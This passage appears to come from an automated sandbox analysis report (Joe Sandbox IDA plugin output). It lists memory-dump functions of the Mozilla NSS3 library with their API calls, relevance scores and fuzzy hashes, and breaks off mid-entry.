Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: a54082e6ed2af92c6f8652af60924eeea3755e1bd9da596a45d8d51e3a797007
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 07418EB6A003118BDB18CF18DCD17AAB7E1BF4831871D466DD84ACB706E779E891CB81

Function 6CFAFFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6CFAFDFE), ref: 6CFAFFAD

Part of subcall function 6CF4CA30: EnterCriticalSection.KERNEL32(?,?,?,6CFAF9C9,?,6CFAF4DA,6CFAF9C9,?,?,6CF7369A), ref: 6CF4CA7A
Part of subcall function 6CF4CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CF4CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6CFAFDFE), ref: 6CFAFFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6CFAFDFE), ref: 6CFB001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6CFAFDFE), ref: 6CFB006F

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: 683cb5485cfeb60675818dfe850accb8cd347cf90817cd147212b9f73cb7f8ca
Instruction ID: 6e601a5f82404f271cd4349573e4558380bcbb014d347c93f8f1df300387cae1
Opcode Fuzzy Hash: 683cb5485cfeb60675818dfe850accb8cd347cf90817cd147212b9f73cb7f8ca
Instruction Fuzzy Hash: F941C3B1E002469BDF08CFA5EE85BAEB775FF49304F040139D816A7700DBB6A981CB91

Function 6D033D40 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,-0000002C,?,6D03127F,?), ref: 6D033D89

Part of subcall function 6D0306F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6D032E70,00000000), ref: 6D030701

SECOID_FindOID_Util.NSS3(FFFFFFFF,?), ref: 6D033DD3

Part of subcall function 6D0207B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CFC8298,?,?,?,6CFBFCE5,?), ref: 6D0207BF
Part of subcall function 6D0207B0: PL_HashTableLookup.NSS3(?,?), ref: 6D0207E6
Part of subcall function 6D0207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D02081B
Part of subcall function 6D0207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D020825

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Error$HashLookupTableUtil$Alloc_ConstFind
String ID:
API String ID: 99596740-0
Opcode ID: 7bf5f8fd1c1ab920164df7545d3e39990b27d7a18be57918c7011f1248768307
Instruction ID: 4604ca9a65c44cc1055358fb3d2e54b45e0ecc9b8a4d6540d777514fb1b1dfa0
Opcode Fuzzy Hash: 7bf5f8fd1c1ab920164df7545d3e39990b27d7a18be57918c7011f1248768307
Instruction Fuzzy Hash: 3F31F431E1953797FB148618E8C0B7A73A4EB49368F574636DE15C72C1E726EC408382

Function 6D097DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D097E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D097EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D097EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6D097ED8

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: bed88d7709719ea89453dbc53d2cab5ec35c4990f09e1556196f3ed2e69571ad
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 3B3163B2E042118FEB04CF08D891A9ABBE2BFC821471B856AD9595B311EB75EC45CBD1

Function 6D04DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6CFD3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFEAE42), ref: 6CFD30AA
Part of subcall function 6CFD3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFD30C7
Part of subcall function 6CFD3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CFD30E5
Part of subcall function 6CFD3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CFD3116
Part of subcall function 6CFD3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFD312B
Part of subcall function 6CFD3090: PK11_DestroyObject.NSS3(?,?), ref: 6CFD3154
Part of subcall function 6CFD3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFD317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6D04DBBD), ref: 6D04DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D04DFEE

Part of subcall function 6CFE86D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFE8716
Part of subcall function 6CFE86D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFE8727
Part of subcall function 6CFE86D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFE873B
Part of subcall function 6CFE86D0: PR_Unlock.NSS3(?), ref: 6CFE876F
Part of subcall function 6CFE86D0: PR_SetError.NSS3(00000000,00000000), ref: 6CFE8787

Part of subcall function 6D00F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6D00F854
Part of subcall function 6D00F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6D00F868
Part of subcall function 6D00F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6D00F882
Part of subcall function 6D00F820: free.MOZGLUE(04C483FF,?,?), ref: 6D00F889
Part of subcall function 6D00F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6D00F8A4
Part of subcall function 6D00F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6D00F8AB
Part of subcall function 6D00F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6D00F8C9
Part of subcall function 6D00F820: free.MOZGLUE(280F10EC,?,?), ref: 6D00F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6D04DBBD), ref: 6D04DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6D04DBBD), ref: 6D04E007

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: a094dc6d034f3bef1c27ed3eb45cb20a5d649a7a60f398a9637c1f4f417bcd69
Instruction ID: 56721ab862a62a8390ee6968e3ebc9abecc979f9c14fcdcb505627d53ade3459
Opcode Fuzzy Hash: a094dc6d034f3bef1c27ed3eb45cb20a5d649a7a60f398a9637c1f4f417bcd69
Instruction Fuzzy Hash: D931EDB1A0420297F7115B79AC85FAB72F8AF95208F054035EA0AC7353FB21D914C3F2

Function 6D032C80 Relevance: 6.1, APIs: 4, Instructions: 105COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,6D031289,?), ref: 6D032D72

Part of subcall function 6D033390: PORT_ZAlloc_Util.NSS3(00000000,-0000002C,?,6D032CA7,E80C76FF,?,6D031289,?), ref: 6D0333E9
Part of subcall function 6D033390: PORT_ZAlloc_Util.NSS3(0000001C), ref: 6D03342E

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6D031289,?), ref: 6D032D61

Part of subcall function 6D030B00: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6D030B21
Part of subcall function 6D030B00: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6D030B64

PR_SetError.NSS3(FFFFE02D,00000000,?,?,?,?,6D031289,?), ref: 6D032D88
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6D031289,?), ref: 6D032DAF

Part of subcall function 6CFEB8F0: PR_CallOnceWithArg.NSS3(6D122178,6CFEBCF0,?), ref: 6CFEB915
Part of subcall function 6CFEB8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000001,?), ref: 6CFEB933
Part of subcall function 6CFEB8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,?), ref: 6CFEB9C8
Part of subcall function 6CFEB8F0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CFEB9E1

Part of subcall function 6D030A50: SECOID_GetAlgorithmTag_Util.NSS3(6D032A90,E8571076,?,6D032A7C,6D0321F1,?,?,?,00000000,00000000,?,?,6D0321DD,00000000), ref: 6D030A66

Part of subcall function 6D033310: SECOID_GetAlgorithmTag_Util.NSS3(?,00000000,FFFFFFFF,?,6D032D1E,?,?,?,?,00000000,?,?,?,?,?,6D031289), ref: 6D033348

Part of subcall function 6D0306F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6D032E70,00000000), ref: 6D030701

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$AlgorithmAlloc_ErrorK11_Tag_$Item_Tokens$AllocCallFreeOnceWithZfree
String ID:
API String ID: 2288138528-0
Opcode ID: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction ID: abfacdcfe7603a899b947a0f5fe5d62a801e9add67026fbb93be6838fd5c27c8
Opcode Fuzzy Hash: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction Fuzzy Hash: 1E31C3B6D05213ABFB109E74EC40B6A37A9BF45219F070130EE159B391E731E964C7E2

Function 6CFC6C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CFC6C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CFC6CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CFC6CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6D0E8FE0), ref: 6CFC6CFE

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: a0696dcbc5874bd4c49b769083d3b64538c62b29fcf4e0be427557d97624634a
Instruction ID: 7a5e85f3c3047621a8c758f401405a9ad175d87ef3cf110bfccf7dbfb82b8542
Opcode Fuzzy Hash: a0696dcbc5874bd4c49b769083d3b64538c62b29fcf4e0be427557d97624634a
Instruction Fuzzy Hash: FD317CB1B052179FEB08CF65C891ABFBBF5EB89248B10453DE905E7250EB719901CBA1

Function 6D0D4F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6D0D4F5D
free.MOZGLUE(?), ref: 6D0D4F74
free.MOZGLUE(?), ref: 6D0D4F82
GetLastError.KERNEL32 ref: 6D0D4F90

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 082a2549bd10569f19bc7ff15fe043ae51f7e7810894ba823c657d3a44792027
Instruction ID: be7a90ab36989b736d1626f0f36db05779fc7a35621596b0d9ee1e16614f3797
Opcode Fuzzy Hash: 082a2549bd10569f19bc7ff15fe043ae51f7e7810894ba823c657d3a44792027
Instruction Fuzzy Hash: DD3128B5A4030A6BFB40CB69EC85BEFB3F8FF49354F05412AEC25A7281E774D9048691

Function 6D01DDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6D01DDB1,?,00000000), ref: 6D01DDF4

Part of subcall function 6D0214C0: TlsGetValue.KERNEL32 ref: 6D0214E0
Part of subcall function 6D0214C0: EnterCriticalSection.KERNEL32 ref: 6D0214F5
Part of subcall function 6D0214C0: PR_Unlock.NSS3 ref: 6D02150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6D01DDB1,?,00000000), ref: 6D01DE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6D01DDB1,?,00000000), ref: 6D01DE17

Part of subcall function 6D020BE0: malloc.MOZGLUE(6D018D2D,?,00000000,?), ref: 6D020BF8
Part of subcall function 6D020BE0: TlsGetValue.KERNEL32(6D018D2D,?,00000000,?), ref: 6D020C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6D01DE80

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 86b6e5d3b4e9ed7db5074707e2813b262f443dfb13dad5eaa908846a519fe389
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 0531C2B1908B429BF700CF96DC80766B7E4BFE5318B14822AD91C87701E7B5F4A0CBA1

Function 6D013F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6D013440: PK11_GetAllTokens.NSS3 ref: 6D013481
Part of subcall function 6D013440: PR_SetError.NSS3(00000000,00000000), ref: 6D0134A3
Part of subcall function 6D013440: TlsGetValue.KERNEL32 ref: 6D01352E
Part of subcall function 6D013440: EnterCriticalSection.KERNEL32(?), ref: 6D013542
Part of subcall function 6D013440: PR_Unlock.NSS3(?), ref: 6D01355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CFFE80C,00000000,00000000,?,?,?,?,6D008C5B,-00000001), ref: 6D013FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CFFE80C,00000000,00000000,?,?,?,?,6D008C5B,-00000001), ref: 6D013FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6CFFE80C,00000000,00000000,?,?,?,?,6D008C5B,-00000001), ref: 6D013FFE
PR_SetError.NSS3 ref: 6D01401A

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: f9f5b86cea8d100c68529ebd5ff9576ca6999ef27b4f0d7fb275ef0589e02523
Instruction ID: ab8c7a3fafe82add652b374bae9557fc9427b9e308228b3b892deb713971f174
Opcode Fuzzy Hash: f9f5b86cea8d100c68529ebd5ff9576ca6999ef27b4f0d7fb275ef0589e02523
Instruction Fuzzy Hash: FF317E705087059FEB019FA9D98476EBBF0FF88354F02592ED98987310EB70E880CB91

Function 6D00FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CFE5ADC,?,00000000,00000001,?,?,00000000,?,6CFDBA55,?,?), ref: 6D00FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D00FE5F
PR_Unlock.NSS3(78831D74), ref: 6D00FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6D00FED6

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: e85d5993c615a3b25e72d82d41b2ca6f77989049c16c683f1043eb9d94d73cbe
Instruction ID: e1d9d89bfedb5d26bb92bdcc8a6c926094836c9fcf92468fe40c456edabf152e
Opcode Fuzzy Hash: e85d5993c615a3b25e72d82d41b2ca6f77989049c16c683f1043eb9d94d73cbe
Instruction Fuzzy Hash: CE210131A00666BBFB11AF64EC447ABBBB8BF05358F450034DE04A7642E771E964CBD4

Function 6D004FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6D00B60F,00000000), ref: 6D005003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6D00B60F,00000000), ref: 6D00501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6D00B60F,00000000), ref: 6D00504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6D00B60F,00000000), ref: 6D005064

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: f59919ca52714615779a79e44f6158b05664f87649b209d684e2ffe633b501af
Instruction ID: dab3f95118aa52023e6f7f598459c248e7ec29df0ea654e535e93cd55e6cce2d
Opcode Fuzzy Hash: f59919ca52714615779a79e44f6158b05664f87649b209d684e2ffe633b501af
Instruction Fuzzy Hash: 9B31F7B4A04A06EFEB00EF69D48466EFBF4FF48304B058969D959D7305E771E890CB91

Function 6CFC1EC0 Relevance: 6.1, APIs: 4, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6CFC4C64,?,-00000004), ref: 6CFC1EE2

Part of subcall function 6D021820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CFC1D97,?,?), ref: 6D021836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CFC4C64,?,-00000004), ref: 6CFC1F13
DER_DecodeTimeChoice_Util.NSS3(?,6CFC4CA0,?,?,?,?,?,?,00000000,00000000,?,6CFC4C64,?,-00000004), ref: 6CFC1F37
DER_DecodeTimeChoice_Util.NSS3(?,6CFC4C1C,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFC4C64,?,-00000004), ref: 6CFC1F53

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID:
API String ID: 3216063065-0
Opcode ID: 3bd31fc0fb0f63a9db622f42814b66703bb7bfd3ca5e4e27a6d478c153cd77e3
Instruction ID: cf5d4690caa3e7674e57c3d7bc2676250d807a092a67cd39ddeb2094c36070ed
Opcode Fuzzy Hash: 3bd31fc0fb0f63a9db622f42814b66703bb7bfd3ca5e4e27a6d478c153cd77e3
Instruction Fuzzy Hash: 92218072709246ABD700CF29DD40A9BB7E9EB85699F014929ED44C3640F331E628CB93

Function 6D029F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6D02A71A,FFFFFFFF,?,?), ref: 6D029FAB

Part of subcall function 6D0214C0: TlsGetValue.KERNEL32 ref: 6D0214E0
Part of subcall function 6D0214C0: EnterCriticalSection.KERNEL32 ref: 6D0214F5
Part of subcall function 6D0214C0: PR_Unlock.NSS3 ref: 6D02150D

